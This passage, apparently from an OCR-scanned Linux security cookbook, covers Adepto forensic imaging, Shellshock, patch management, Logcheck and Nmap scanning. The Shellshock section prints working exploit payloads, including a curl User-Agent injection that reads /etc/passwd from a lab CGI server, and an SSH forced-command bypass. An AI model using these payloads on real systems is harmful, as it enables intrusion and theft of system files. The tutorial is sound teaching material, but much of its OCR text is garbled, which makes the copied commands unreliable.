Type. # CCFLDD - oFF Fash. s | Secient (MBI | ¥
i Use ddvarced Jptons
- Ardvariced -
Inaut B | Dot BE | Zaurt: |
Seek: | Skip: i Cioht: I__

SBtarl... |

7. Once we click on Start, we can see the progress just below the

Start button, as follows:
Slarled... 10:40:44 PM Verify.. 10:40:45 PM Slopped...10:40:52 FM Starl...| Sy, |

8. The process details can be checked in the logs also, by clicking
on the Log tab. In the logs, we can see that the Hash
verification of the source image was successful with our device.



Gt | Devize Inio | Acouire | Mestore/Clone | Log | Cadin o Custody

stact DCTLOD Rogund ion (WAHDS) . The Fek 4 Z2:40:24 TIC ZC13

43 MO hesll will be zalcolated on Sdewy

VERITY SUCCESEFUL: Ha s match

9. Now, the next step is to clone the USB device we want to
investigate. To do so, we click on Restore/Clone tab. Enter the
source and destination and press Clone to start
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10. We shall see the progress happening in the bottom. The

1.

process to clone takes time and this may also depend on the

size of the disk being copied as well as the system's processing
capabilities:
| Progress — . . - . I_
Prn:u:]:se:s::s:: 1440. 0106 (1. 41cE) Avg. Taroughput: 5. 45ME/sec }

Gk I

Once cloning is complete, we can verify the data in both the
devices. We can see that we have an exact image of the device
we have cloned in our second USB device.
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12. Adepto gives us the option to create a PDF report about the
case of events that happened during the cloning process.

For this, click on Chain of Custody tab and then press Create
PDF at the bottom.



S.;:L'l| Devizce Irifu | SLuine | Reshare'Clure | Luy | Cordin JF Cuslody
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How it works...

Helix is used for forensic investigation and during this process, an
essential task is to create a forensic image of the hard disk being

analyzed.

We have been through the Adepto tool to understand the process of
creating an image of a USB device following the preceding steps.



Chapter 9. Patching a Bash
Vulnerability

In this chapter, we will learn the following concepts:

Understanding the bash vulnerability through Shellshock
Shellshock's security issues

The patch management system

Applying patches on the Linux systems



Understanding the bash vulnerability
through Shellshock

Shellshock, or Bashdoor, is a vulnerability that's used in most
versions of the Linux and Unix operating systems. It was discovered
on September 12, 2014, and it affects all the distributions of Linux
using a bash shell. The Shellshock vulnerability makes it possible to
execute commands remotely using environment variables.



Getting Ready

To understand Shellshock, we need a Linux system that uses a
version of bash prior to 4.3, which is vulnerable to this bug.



How to do it...

In this section, we will take a look at how to set up our system to
understand the internal details of the Shellshock vulnerability:

1. The first step is to check the version of bash on the Linux
system so that we can figure out whether our system is
vulnerable to Shellshock. To check the version of bash, we run
this command:

ul J-release (1686 pc-linux-gnu)
2811 Free Software [oundation, Lnc.

=

License CPLv3+: GHU GPL version 3 or later =http:/fgru.orgflicenses/gpl.himl-

This 1s free softwarc! vou are free te change and redistribute 1it.
5 s to the extent permitied by law.

Bash versions from 4.3 and onwards have been reported to be
vulnerable to Shellshock. For our example, we are using the
Ubuntu 12.04 LTS desktop version. From the output shown in
the preceding image, we can see that this system is vulnerable.

2. Now, let's check whether the vulnerability actually exists or not.
To do so, we run this code:

ropt@client:-f env x="C) { :;}; echo shellshock' baszh -¢ "eche Lesling'
shellshorck
Testing

||uuL@L1lenL:~r

Once we run the preceding command, if the output has
shellshock printed, the vulnerability is confirmed.

3. Let's understand the insights of the vulnerability. For this, we
first need to understand the basics of the variables of the bash
shell.



4. If we want to create a variable named testvar in bash and store
a shellshock value in it, we run this command:

testvar=""shellshock''

Now, if we wish to print the value of this variable, we use the
echo command, as shown here:

echo $testvar

5. We shall open a child process of bash by running the basn
command. Then, we again try to print the value of the testvar

variable in the child process:

root@client:~# testvar="shellshock"
root@client: echo Stestvar
shellshock

root@client: bash

root@client: bash
root@client: echo Stestvar

root@client:

We can see that we don't get any output when we try to print the
value in the child process.

6. Now, we shall try to repeat the preceding process using the
environment variables of bash. When we start a new shell
session of bash, a few variables are available for use, and these
are called environment variables.

7. To make our testvar variable an environment variable, we will
export it. Once it's exported, we can use it in the child shell as
well, as shown here:



rootf@client: export testvar="shellshock"
root@client: echo Stestvar
shellshock

root@client: bash
root@client: echo Stestvar
shellshock

root@client:

8. As we have defined variables and then exported them, in the
same way, we can define a function and export it in order to
make it available in the child shell. The following steps show

how you can define a function and export it

root@client:~# x() { echo 'shellshock';}
rootfclient: X

shellshock

root@client: export -f x

root@client: bash
rootf@client: X
shellshock
root@client:

In the preceding example, the x function has been defined, and
it has been exported using the -£ flag.

9. Now, let's define a new variable, name it testfunc, and assign it
a value, as shown here:

testfunc='"'() { echo '' shellshock'';}''

The preceding variable can be accessed in the same way as a
regular variable:

echo $testfunc

Next, we will export this variable to make it into an environment

variable and then try to access it from the child shell, as shown
here;



root@client:~#¥ export testfunc='() { echo 'shellshock’;}"’
ront@client:~% echn Stestfunc

() [ echo shellshock;}

[root@client:~# testfunc

testfunc: command not found
root@client:-# bash
rool@clienl:~# LesLTunc
shellshock

root@client:~%

Something unexpected has taken place in the preceding result.
In the parent shell, the variable is accessed as a normal
variable. However, in the child shell, it gets interpreted as a
function and executes the body of the function.
10. Next, we shall terminate the definition of the function and then
pass any arbitrary command to it.

rooT@client:-# export testfunc="() [ eche 'shellsheck':]: eche "wulnerable™'
ient:~# bash
Vulnerable

roopifclient: - Lesblunc
shellshock

In the preceding example, as soon as we start a new bash shell, the
code that was defined outside the function is executed when bash is

started.

This is the vulnerability in the bash shell.



How it works...

We first check the version of bash running on our system. Then, we
run a well-known code to confirm whether the Shellshock
vulnerability exists.

To understand how the Shellshock vulnerability works, we create a
variable in bash and then try to export it to the child shell and
execute it there. Next, we try to create another variable and set its
value as'' () { echo '' shellshock'';}'' . After doing this, when we
export this variable to the child shell and execute it there, we see
that it gets interpreted as a function in the child shell and executes
the body of it.

This is what makes bash vulnerable to Shellshock, where specially
crafted variables can be used to run any command in bash when it is
launched.



Shellshock's security issues

In this era where almost everything is online, online security is a
major concern. These days, a lot of web servers, web-connected
devices, and services use Linux as their platform. Most versions of
Linux use the Unix bash shell, so the Shellshock vulnerability can
affect a huge number of websites and web servers.

In the previous recipe, we took a look at the details of the Shellshock
vulnerability. Now, we will understand how this bug can be exploited
through SSH.



Getting Ready

To exploit the Shellshock vulnerability, we need two systems. The
first system will be used as a victim and should be vulnerable to
Shellshock. In our case, we will use an Ubuntu system as the
vulnerable system. The second system will be used as an attacker
and can have any Linux version running on it. In our case, we will
run Kali on the second system.

The victim system will run the openssH-server package. It can be
installed using this command:

apt-get install openssh-server

We will configure this system as a vulnerable SSH server to show
how it can be exploited using the Shellshock bug.



How to do it...

To take a look at how the Shellshock bug can be used to exploit an
SSH server, we need to first configure our SSH server as a
vulnerable system. To do this, we will follow these steps:

1. The first step is to add a new user account called user1 on the
SSH server system. We will also add /home/userl as its home

directory and /bin/bash as its shell:
roctgclient:~# useradd -d fhomefuserl -s fbin/bash useril
root@client: ~#

rootgclient:~# cat /etc/passwd | grep 'useri'
:x:1001:1601: : fhome/ :/bin/bash
rootgclient: ~# I

Once the account has been added, we cross check by checking
the /etc/passwd file.
2. Next, we create a directory for user1 in /home and grant the

ownership of this directory to the user1 account.
root@client: fhome# mkdir useri

root@client: /home# chown -R userl /homejfuserl/

3. Now, we need to authenticate the attacker to log in to the SSH
server using authorization keys. To do this, we will first generate
these authorization keys on the attacker's system using this
command:

Gernerating pabli
Crter fila i whic

Erter p

Erter s

You- identif Fio ved in /root/ . ssh/id rsa.
' /id rsa.pub.




We can see that the public/private keys have been generated.
. After generating the authorization keys, we will send the public
key to the remote SSH server over SFTP. First, we copy the
id rsa.pub public key file to pesktop, and then we run the
command to connect to the SSH server using SFTP.

id rsa.pub
=/ Deskte

When connected, we transfer the file using the put command.

. On the victim SSH server system, we create a.ssn directory
inside /nhome/userl /, and then we write the content of the

id rsa.pub file to authoriz ed keys inside the /home/userl /.ssh/
directory:

root@client: ~# mkdir /homefuseri/.=ssh

root@client: -# cat id rsa.pub = fhomejuserl/.sshfauthorized keys
rootclient: %

. After this, we edit the configuration file of SSH,

etc/ssh/sshd config, and enable the PublicKeyAuthentication
variable. We also check whether authorizedxkeysrile has been
specified correctly:

RSAAuthentication yes
PubkeyAuthentication yes

AuthorizedKeysFile %h/.ssh/authorized keys

. Once the preceding steps are successfully completed, we can
try to log in to the SSH server from the attacker system to check
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whether we are prompted for a password or not:
i~/Desktop# ssh usarl@l82.leg.]1.101
Welcome <o _bunzu 12.04.4 LTS (GNU/Linux Z.11.0-15%-gener_z i68E}

https: s olp.ubontu.cor’

Mew release '14.04.3 | T5' availabl=.
Fur 'do--elzase-upgrade' to upg-ads to it.

gin: Fri Fes 12 13:25:086 2016 f-~on 202.168.1.10G@

=5

. Now, we will create a basic script, which will display the

restricted message if a user tries to pass the date command as
an argument. However, if anything other than aqate is passed, it
will get executed. We will name this script samp1e. sh:

echo "restricted’

echo "5@"

. Once the script is created, we run this command to give

executable permissions to it
chmod +x sample. sh

After this, we use the command option in the authorized keys file
to run our samp1e. sh script by adding the path of the script, as
shown here:



command=" fhome fuser 1/ schisanple.sh” ssh-rea AMARIN -aClyc 2 FAAAADAJARAAARA [|']F rDin
QloryErsrZoas [ LlY FismT9x9/050 blrdlmth,ibrull HhLlhﬁUtiWNLlhgrlT

ELARITLZZ1w5]17TqT rootgkall

Making the preceding changes in the authorized keys file in

order to restrict a user from executing a predefined set of

commands will make the Public key authentication vulnerable.
11. Now, from the attacker's system, try connecting to the victim's

system over SSH while passing date as the argument.
i~/Desktop# ssh us=rl@ld2.168.1.101 daze

We can see the restricted message is displayed because of the
script that we added to the authorized keys file.
12. Next, we try to pass our Shellshock exploit as an argument, as

shown here:
i~/Desktop# ssbk
F-= Feb 12 13:50:3_

i=/Desktop#

We can see that even though we have restricted the date
command in the script, it gets executed this time, and we get the
output of the date command.

Let's take a look at how to use the Shellshock vulnerability to
compromise an Apache server, which runs any script that can trigger
the bash shell with environment variables:

1. If Apache is not already installed on the victim's system, we
install it first using this command:



apt-get install apache2

Once installed, we launch Apache server using this command:

service apache2 start

. Next, we move to the /usr/1ib/cgi-bin/ path and create an
example.sh Script with the following code in it in order to display

some HTML output
#! fbin/bash
echo 'Content-type:text/html’

echo
echo 'Example Page'

We then make it executable by running this command:
chmod +x example. sh

. From the attacker's system, we try to access the exampie.sn file
remotely using a command-line tool called curl:

92.168.1.181 fcg_-bindaxampla . =h

Example

Desktop# |}

We get the output of the script as expected, which is Examp1e
Page.

. Now, let's send a malicious request to the server using curl to
print the content of the /etc/passwd file of the victim's system by
running this command:

curl -A ''() { :;}; echo ""Content-type: text/plain"";
echo; /bin/cat /etc/passwd http: //192. 168. 1. 104/cgi-
bin/example. sh



We can see the output in the attacker's system, showing us how
the victim's system can be remotely accessed using the
Shellshock vulnerability. In the preceding command, ) { :;} ;
signifies a variable that looks like a function. In this code, the
function is a single :, which does nothing and is only a simple
command.

. We try another command, as shown here, to take a look at the
content of the current directory of the victim's system:

25kt }; orln Dontent--won: textiolan ; ocon;

We see the content of the root directory of the victim's system in
the preceding output.



How it works...

On our SSH server system, we create a new user account and
assign the bash shell to it as its default shell. We also create a
directory for this new user account in /home and assign its ownership
to this account.

Next, we configure our SSH server system to authenticate another
system, connecting to it using authorization keys.

We then create a bash script to restrict a particular command, such
as date, and add this script path to authorized keys using the
command option.

After this, when we try to connect to the SSH server from the other
system whose authorization keys were configured earlier, we'll notice
that if we pass the date command as an argument when connecting,
the command gets restricted.

However, when the same date command is passed with the
Shellshock exploit, we see the output of the date command, thus
showing us how Shellshock can be used to exploit the SSH server.

Similarly, we exploit the Apache server by creating a sample script
and placing it in the /usr/1ib/cgi-bin directory of the Apache
system.

Then, we try to access this script from the other system using the
curl tool.

You'll notice that if we pass a Shellshock exploit when accessing
the script through curl, we are able to run our commands on the
Apache server remotely.



The patch management system

In present computing scenarios, vulnerability and patch management
are part of a never-ending cycle. When a computer is attacked due
to a known vulnerability for the purpose of being exploited, the patch
for such a vulnerability already exists; however, it has not been
implemented properly on the system, thus causing the attack.

As a system administrator, we have to know which patch needs to be
installed and which one should be ignored.



Getting ready

Since patch management can be done using the inbuilt tools of

Linux, no specific settings need to be configured before performing
the steps.



How to do it...

The easiest and most efficient way to keep our system updated is
using Update Manager, which is built into the Linux system. Here, we
will explore the workings of Update Manager in the Ubuntu system:

1. To open the graphical version of Update Manager in Ubuntu,
click on Superkey, which is on the left-hand side in the toolbar,
and then type update. Here, we can see Update Manager-

® - | ® update

_ fii Applicatians
[ _.-_'H_H‘.\

: Updabe Gwibber Social
\ il | ¥ anager Client

2. When we open Update Manager, the following dialog box will
appear, showing you the different security updates available for

installation:



Software updates are available for this computer.

M em y
ﬂ% Software updates correct errors, eliminate security vulnerabilities and
provide new features.

Important security updates

@ scripts For handling many ACFI events
ICp-sUpport (Size: 27 kB)
i User-space parser utilicy for AppArmeor
B 334updales have beenselzcled. 421.9 MB will be downloaded,
Check | |install Updates

Select the updates you want to install, and click on Install
Updates to proceed.

. In the same window, we have the Settings button in the bottom-
left. When we click on it, a new Software Sources window will
appear, which has more options to configure Update Manager.
. The first tab reads Ubuntu Software, and it displays a list of
repositories needed to download updates. We choose the
options from the list as per our requirements:



e Software Sources '

Lhuntu Software| | Other Sofbware | Updatec | Authentication | Statictics
Downloadable From the Internet
B Carorical-supported free and open-source software (main)
& Community-maintained free and open-source software (universe)
& Froprletary drivers For devices (restricted)
& Scftware restricted by copyright or legalissues {multiverse)

Bl source code

Download From: | Server for India -

Installable from CD-ROM/DVD
Cdrom with Ubuntu 12.04 'Precise Pangolin®
| DFficially supportad
Hestricted copyright

Revert Close |

5. If we click on the Download from option, we get an option to
change the repository server that's used for the purposes of
downloading. This option is useful in case we have any problem
connecting to the currently selected server or the server is slow.



coftware Sources

UbuntuSofoware | Other Software | Updates | Authenticakion |Staktishics

Downloadable From the Internet
B Cancnicaksupported free and open-source software (main)
& Community maintained free and open-source software (universe)
& Proprietary drivers Mor devices (restricled)
B Sofbware restricted by copyright or legalissues (multiverse)

Cource code :
= Main server

Download from:  sejver fur India

Cdrom with Ubuntw 12.04 'Precise Pangolin®
Officially supporled
Reslricled copyright

| Rewvert || Close |

6. From the drop-down list, when we select the Other... option, we
get a list to select the server we need, as shown in the following
image:



Choose a Download Server .

» Greenland [Select BestSEwer]
» Hong Kong

» Hungary

> Iceland |

Ftp.iitb.ac.in

ftp.iitm.ac.in
mirror.cse.iitk.ac.in
ubuntu.excellmedia.net

Protocol: v

Cancel Choose Server

7. The next Other Software tab is used to add partner repositories
of Canonical:

Ubunku Software | Other Software | Updates | Authentication  Statistics

Canonical Partners
software packaged by Cararical for Ehair partners

— Canonical Partners (Source Code)
scftware packaged by Caronical for their partners

g Independent
Provided by third party software developers

& Independent (Scurce Code)
Provided by third-party software developers

Add.. || Edit.. || Femove Add Volume... |




8. We can choose any option from the list shown in the preceding
image, and click on Edit to make changes to the repository
details, as shown here:

Type: | Binary * |

URI: | http://archive.canonical.com/ubuntu
Distribution: | precise
Components: | partner

Comment:

Cancel || OK |

9. The Updates tab is used to define how and when the Ubuntu
system receives updates:



o Software Sources

Lburtusoftware | Other =aoftware | Updates | authentication | Statistics

Install updates from:
& Important security updates (precise-security)

B Recommerded updates (precise-updates)
| Pre-released updates (predise-proposed)

& Unsupporred updates (precise-backports)

Automatically check For updates: Daily -
When Lhere are securily updales: | Display immedialely v
when there arc other updates: | Display weekly -

4

Hotify mec of a new Ubuntuversion: | For long berm supporktversions

| Rewert || Close |

10. The Authentication tab contains details about the
authentication keys of the software providers as obtained from

the maintainer of the software repositories:



Software Sources

Ubuntu Software  Other Software | Updates | Authentication | Statiskics

Trusted software providers

43TDO5BE5 Z004-05-12

Uburtu Archive Automatic Signinc Key <ftpmaster@ubuntu.com=
FEBE75451 200412 20

Uburtu CD Image Automatic Signing Key <cdimage@ubuntu.com=
COoB21F32 2012-05-11

Uburku Archive Autematic Signing Key (2012) =ftpmaster@ubuntu.com:
EFE21092 207 2-05-11

Uburtu €D Image Automatic Signing Key (2012) <cdimage@ubuntu.com=

IESCIS? 2010:09-20
Liburtu Fxtras Archlve Avtomatic Sigring Key <ftpmaster@ubuntu.com=

Import Key File... Remove Restore Cefaults

| ert || Close |

11. The last tab is Statistics, which is available for users who would
like to anonymously provide data to the Ubuntu developer
project. This information helps a developer increase the
performance and improve the experience of the software.



g coftware Sources

LUburnbu Software | Other Software | Updates | Authenticabion | Statistics

Cubmit statistical infermation

To improve the userexperience af Ubuntu please take part in the popularity
contest. If you da so bhe list of installed softwaore and how often it veas used
will be collected and sent anonymously to the Lbuntu project on a weekly
basis.,

The results ore used to improve the support for popular applicotions and to
runk applications in the search resuits.

Revert || Close

12. After making changes under any of these tabs, when we click on
Close, we are prompted to confirm whether the new updates
should be shown in the list or not. Click on Reload or Close:

@ The information about available software is out-of-date

To install soFtware and updates from newly added or changed sources, you have ba
relnad the infarmation abour availahle software.

You reed 3 working Internet connectlon to continue.

| [Eneload | | Close

13. If we want to check the list of locations from which Update
Manager retrieves all the packages, we can check the content of
the /etc/apt/sources.list file. We will then get this result



n t L

b hetp://in.archive ubuntu. com/ubuntuy

=0 http:/f/in.archive . .ubuntu. comfubuntuy
vsre hetp: ) fAn.archive. ubuntu. comfubuntu f




How it works...

To update our Linux system, we use the built-in Update Manager as
per the Linux distribution.

In the update manager, we either install all the updates available, or
else, we configure it as per our requirements using the Settings
window.

In the Settings window, we have option to display a list of
repositories from where the updates can be downloaded.

The second tab in the Settings window lets us add the third-party
partner repositories of Canonical.

Using the next tab, we can specify when and what kind of updates
should be downloaded.

We also check the authentication keys of the software providers
using the settings window.

The last tab, Statistics, helps send data to Ubuntu project
developers in order to improve the performance of the software.



Applying patches on the Linux
systems

Whenever a security vulnerability is found in any software, a security
patch is released for the software so that the bug can be fixed.
Normally, we use Update Manager, which is built into Linux, to apply
security updates. However, for software that is installed by compiling
source code, Update Manager may not be as helpful.

For such situations, we can apply the patch file to the original
software's source code and then recompile the software.



Getting ready

Since we will use the built-in commands of Linux to create and apply
a patch, nothing needs to be done before starting the following

steps. We will be creating a sample program in C to understand the
process of creating a patch file.



How to do it...

In this section, we will take a look at how to create a patch for a
program using the 4iff command, and then we will apply the patch
using the patch command.

1. The first step will be to create a simple C program, called
example.c, tO print This is an example, as shown here:

#include <stdio.h>

main()

{

printf("This is an example\n");

1

2. Now, we will create a copy of example.c and name it
example new.c.

3. Next, we edit the new example new.c file to add a few extra lines
of code to it, as shown here:

#include <stdio.h>

UERT argc)

{

printf("This is an example\n");

0;

4. Now, example new.c can be considered as the updated version
Ofexample.c.



5. We will create a patch file and name it example.patch using the

diff command:
root@client:-% diff -u example.c example_new.c = example.patch

root@client :~# I

. If we check the content of the patch file, we get this output
root@client:~# cat example.patch
- exanple.c 2016-02-11 12:18:15.24451386Z +D530
+++ exanple_new.c 2016-02-11 12:20:22.764520204 +0530
a@ -1,9 +1,11 @@
#lnclude <stdlo.h>

-int main()
+int main{int argc)
{

printf("This 1s an example\n"):

+return @;
+
]

7. Before applying the patch, we can back up the original file using
the -b option.

root@client:~# patch -b = example.patch
patching file example.c
root@client:~# ls

example.c example.c.orig example_new.c example.patch
root@client:~#

You will notice that a new example.c.orig file has been created,
which is the backup file.

8. Before performing the actual patching, we can dry run the patch
file to check whether we get any errors or not. To do this, we run
this command:
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1.

root@client:~# patch --dry-run < example.patch

patching flle exarple.c

If we don't get any error message, it means the patch file can be
now run on the original file.

. Now, we will run the following command to apply the patch to

the original file:
patch < example. patch

After applying the patch, if we now check the content of the
example.c program, we will see that it has been updated with

some extra lines of code, as written in example new.c:
root@client:~# cat example.c
#include <stdio.h=>

int main(int argc)

{
printf("This is an example\n");

return 0;

1

Once the patch has been applied to the original file, if we wish to

reverse it, this can be done using the -r option:
root@client:~# patch < example.patch

patching file example.c

lroot@client:~#

rcot@@client:~# 1s -1 example.c

-TW-r--r-- 1 root root B9 Feb 11 12:24 example.c

rcot@client:-#

rocot@client:~# patch -R < example.patch

patching file example.c

rcot@@client:~# 1s -1 example.c

-fw-r--r-- 1 root roet 78 Feb 11 12:27 example.c




We can see the difference in the size of the file after patching
and then reversing it.



How it works...

We first create a sample C program. Then, we create its copy, and
add few more lines of code to make it the updated version. After this,
we create a patch file using the aiff command. Before applying the
patch, we check it for any errors by doing a dry run.

If we get no errors, we apply the patch using the patch command.
Now, the original file will have the same content as the updated
version file.

We can also reverse the patch using the -r option.



Chapter 10. Security Monitoring and
Logging

In this chapter, we will discuss the following topics:

Viewing and managing log files using Logcheck
Monitoring a network using Nmap

Using glances for system monitoring
Monitoring logs using MultiTail

Using system tools — Whowatch

Using system tools — stat

Using system tools — Isof

Using system tools — strace

Using Lynis



Viewing and managing log files using
Logcheck

As an administrator, while checking for malicious activities on the
system or any software issue, log files play a very important role.
However, with an increasing amount of software, the number of log
files being created has also increased. This makes it very difficult for
the administrator to analyze log files properly.

In such scenarios, Logcheck is a good tool to help administrators
analyze and scan log files. Logcheck scans logs for interesting lines
as per its documentation. These lines mainly refer to security issues
that have been detected by the tool.



Getting ready

No specific requirements are needed to use Logcheck on a Linux
system.



How to do it...

In this section, we will take a look at how to install and configure
Logcheck as per our requirements:

1. The first step is to install the package using the command
shown in the following screenshot

roolfclienl:-# apl-get ilnstall logcheck

Reading package 1ists... Done

Bullding dependency tree

Readlng state information... Dane

he following extra packages will he installed:
libipc-signal-perl libmime-types-perl lihprac-waitstat-perl
lagcheck-database logTail mire-canstrucTt postfix

Suggested packages:
syslog-sunnary procmall postTix-mysql pestfix-pgsqgl p fix-ldap
postfix-pcre sasl2-bin doveco agmmon postfix-cdb postfix-doc

The following HEW packages will be installed:
libipc-signal-perl libmime-types-perl libproc-waitstat-perl logcheck
logcheck-dalabase loglall mime-consirucl posliix

0 upgraded, 8 newly iLnsialled, @ Lo remove and 338 nol upgr aded.

2. During the installation, a window will open and show you

information about selecting a mail server configuration type, as
shown in the following screenshot:

| Postfix Configuraticon

please select the mail server configuration tvpe that best meets your
needs .

Mo configuration:

should be chosen to leave the current canfiguratisn unchanged.
Internet site:

Mall Lz sent and recelved directly using SMTFP.
Internaet with smarthost:

Mall 1= received directly using SHTR or by running a utility such

as fetchmall. Outgolng mall 1= sent uslng = szmarthost.
Satellite systom:

ALl mall 1s sent ta arother machine, called & 'smarthost', Tar
delivere.

Local onlyz

3. Click on Ok to continue.



4. In the next window, select Internet Site, and then select Ok to
continue.

————— Postfix Configuration p————

General type of mail configuration:

No cnnfiiuratiun

Internet with smarthost
Satellite system
Local only

<0k= <Cancel=

5. After the installation has completed, we need to make changes
tOthe,Mﬁx#logcheck/logcheck.comfCOﬂﬁguraﬂonf”e.
6. The first thing to edit in the configuration file is the format of the

date/time stamp, which is used in the subject of the mail sent by
Logcheck.

# Controls the format of date-/time-stamps in subject lines:
# Alternatively, set the fTormat to suilt your locale

DATE-"S(date +'%Y-%m-%d %H:%¥M')"

7. Next, we can change the value of the reporTLEVEL Variable in
order to control filtering of the logs as per our requirement. We
have three options available for this, and by default, the value is
set to server.

# Controls the level of filtering:

Can he 5Set to "workstation", "server" or "paranoid" for different

4

£ levels of Filiering. Defaulls Lo server if n

REPURTLEVYEL="5Crver"




The workstation value filters most of the messages and is less
verbose. The paranoid value is useful for systems with high

security. It runs as few services as possible, and is more
verbose.

8. After this, we change the value of the senpmar LT0O Variable and

provide our e-mail address to it to receive logs on our e-mail ID.
Controls the address mail goes to:

#. “MCTE* Lhe scripl does nol sel a defaull value for this variablel

¢ Should be set To an offsite "emailaddress@some.domain. tld’

SENDMAILTO="1logcheck"

9. The mail generated by Logcheck uses different subject lines for

10.

different events. If we wish to modify these subject lines, we can
edit the value of the variables shown here:

# Controls Subject: lines on logcheck reports:

#ATTACKSUBJECT="Security Alerts"
#SECURITYSUBJECT="Security Events"
HEVENTSSUBJECT="System Events"

Logcheck, by default, uses the
/etc/logcheck/logcheck. logfiles file to maintain a list of log
files to be monitored by it. If we wish to use any other file to
define the list and if it is in another location, we can edit the
RULEDIR variable to define the new path.

# Controls the base directory for rules file location
# This must be an absolute path

#RULEDIR="/etc/logcheck"



11. If we want Logcheck to monitor any particular file apart from
what is already defined in the /etc/logcheck/logcheck.logfiles
file, we can add an entry in it, as shown here:

# these files will be checked by logcheck
# This has been tuned towards a default syslog install
Jvarflog/syslog

Jvarflogfauth.log
Jvarflog/boot.log

12. In the preceding file, we added the /var/1o0g/boot.1og line.



How it works...

We first install the Logcheck package, and after the installation, we
edit its Configuration /etc/logcheck/logcheck.conf file.

In the configuration file, we change the format of the date/time stamp
for logs and also the filtering by modifying the reporTLEVEL Variable.

Next, we edit the senxpvar o variable, and enter our e-mail ID to
receive the logs.

Using the etc/logcheck/logcheck.logfiles file, we define the |OgS to
be monitored by Logcheck.



Monitoring a network using Nmap

For any network that is either big or small, network monitoring and
security is a very essential task. Regular monitoring of the network is
important to protect systems from attacks and also to keep viruses
and malware out of a network.

Nmap, short for network mapper, is a free and open source tool
that monitors a network, and it is the most versatile tool used by
system/network administrators. Nmap can be used to perform
security scans, explore a network, find open ports on remote
systems, and perform network audits.



Getting ready

To show how Nmap works, we need a minimum of two systems to
form a small network. On one system, we will install the nmap

package, while the other system will be used as a host to scan.



How to do it...

In this section, we will take a look at how to use Nmap to perform
different types of scans.

1. The first step will be to install the nnap package if it is not
installed already. To do so, we use this command:

apt-get install nmap

We get the following output on running the preceding command:
root@tj-dev:~# apt-get install nmap
Reading package lists... Done
Building dependency tree
Reading state informaticn... Done
The following MEW packages will be installed:
nnap
8 upgraded, 1 newly installed, & Lo remove and 341 nol upgraded.
Meed to get 1,623 KE of archives.

2. To perform a simple scan using Nmap, we can either use the
hostname or the IP address of the system we want to scan. The

command to perform a simple scan will be as follows:
root@tj dev:-# nmep 192.168.1.165

starting Mmap .21 ({ http://nmap.org )} at 2816-82-1E 18:84 15]
Mmap scan report for 192.163.1.105

Host is up (0.00854s Llatency).

Not shown: 995 flltered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open nethins-ssn

445 /tcp cpen microsoft-ds

3306 /tcp open mysql

MAC Addres=: 99:@8:4E:2F:AC:EF {Unknown)

Nmap done: 1 IP address (1 host up) scanncd in 4.76 seconds

3. In the preceding example, the IP address of the system we are
scanning is192.16s8.1.105. In the result of the scan, we can see



that the target system is running the MySQL database server on
port 3306.

4. Nmap can also be used to scan our own system. To do so, we
can run this command:

nmap localhost

We get the following output on running the preceding command:
root@tj dev:-# nmap localhost

SLarling Mmap 5.21 ¢ hilp://nmap.oryg ) al 2016-02-18 10:056 IST
Nmap scan report Tor localhost (127.8.8.1)

Host is up (8.600014s latency).

Not shown: 9298 closed ports

PORT STATE SERVICE

53/Llcp open domailn

631/tcp open ipp

Nmap donc: 1 IP address (1 host up) scanned in 9.17 seconds

5. If we want to scan more than one system with the same
command, we can do so, as shown here:

nmap 192. 168. 1. 105 192. 168. 1. 102

We can see the scan results of both the systems in the following
output



root@tj dev:-# nmap 192,168.1.105 192.168.1.1682

startlng Wmap 5.21 { http://nmap.org ) at 29l6-82-18 10:18 IST
Mmap scan report for 192.168,1.185

Hos=t is up (D.006044s latency).

Not shown: 997 filtered ports

PCRT STATE SERVICE

135 /tcp ocpen mMsrpc

132fcp vpen nelbios-ssn

44L ftcp open microsoft-ds

MAC Address: D8:00:4E:2F:AC:EF (Unknown)

Nrap scan report for 197.1a68.1.167

Hoet is up (B.6€60538= latency).

all 1006 scanned ports on 192.158.1.102 are closed
MAC Address: O8:0C:29:35:82:9C (VMware)

Nmap done: 2 IP addresses (2 hosts up) scanncd in 4.81 scconds

6. We can use Nmap to scan a particular network and check which
systems are up and running in the network using the command
given here:

nmap -sP 192. 168. 1. 0/24

When we perform the scan using the -sp option, nmap skips port
detection and other things. It simply checks which systems are

up and running in the network by performing a simple ping.
roct@tj-dev:~# nmap -sP 122.168.1.08/24

|[starting Nmap 5.21 ( http://mmap.org ) at 2016-B2-1E 168:16 15]
Mmap scan report for 192.168.1.1

lost is up (0.054s latency).

MAC Address: C4:E9:84:C7F:3A:F4 (Unknown)
Nmap scan report for 192.16H.1.188

Host is up (8.15s latency).

MAC Address: 1C:56:TC:07:9C:05 (Unknown)
Nmap scan reporl lor 192.168.1.101

Host is up.

Mmap scan report for 192.168.1.182

lost is up (0.00048s latency].

MAC Address: 00:0C:229:35:02:9C (WMware)
Nmap scan report for 192.16H.1.183

Host is up (8.898s latency).



. If we want to limit our scan to a particular port only, we can tell

nmap to scan that port only using the -p option, as shown here:
root@t] dev:-# nmap p 22,80 102.168.1.162

Starting Nmap 5.21 ( http://nmap.org ) &t 2016-02-18 16:35 IST
Nmap scean report for 192.168.1.102

HosL i= up (0.0047s lalency).

PORT STATE SFERVICE

22ftcp open ssh

BO/tcp closed http

MAC Address: 98:8C:29:35:82:9C (UMware)

Nmap done: 1 IP address (1 host up) scamned in ©.22 scconds

In the preceding example, we scan for port 22 and so, the
default port for the SSH service and the HTTP (web server)
service. As we can see in the preceding result, the remote
system is running SSH; however, the HTTP port is closed.
Hence, no web server is running.

. While performing a scan of the target system, determining the
operating system on the system is very important as many
exploits are available for a specific OS platform. To know the OS
of the target system, we use the -o option, as shown here:

nmap -O 192. 168. 1. 105

The result shown in the following image tells us that the target
system is running the Windows 7 Ultimate version:

Host script results:
|_nbstat: MetBIOS name: PC, NetBIOS user: =unknown=,
tde:2f:ac:ef
smb-os-discovery:
C5: Windows 7 Ullimale 7600 (Windows 7 UlLimale 6.1)
Name: WORKGROUP\PC

I

I

|

| System time: 2016-83-81 11:22:54 UTC+5.5

| _smbw2-enabled: Server supports SMBv2 protocol

HOP RTT ADDRESS
1 €.57 ms 1%2.1568.1.105



9. We have seen that using the -p option, we can check which
particular port is open. Now, let's suppose that the target system
has port 22 open, which means that SSH is running on the
system. If we now want to check the version of the SSH service

on the remote system, we can use the -sv option, as shown

here:
root@tij dev:-# nmap sV 192.168.1.182

Starting Wmap 5.21 { http://nmap.crg ) at 2016-082-18 18:49 IST
Nmap scan report for 192.168.1.102
Latency).

Mot shown: 999 closed ports

